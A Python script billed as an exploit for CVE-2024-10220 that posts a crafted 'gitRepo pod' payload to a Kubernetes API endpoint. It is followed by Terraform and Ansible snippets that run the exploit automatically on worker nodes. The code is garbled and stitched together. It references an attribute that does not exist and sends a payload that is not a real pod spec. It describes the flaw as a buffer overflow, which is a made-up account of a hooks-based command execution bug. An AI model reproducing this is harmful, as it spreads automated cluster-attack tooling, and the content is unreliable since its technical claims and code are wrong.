#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"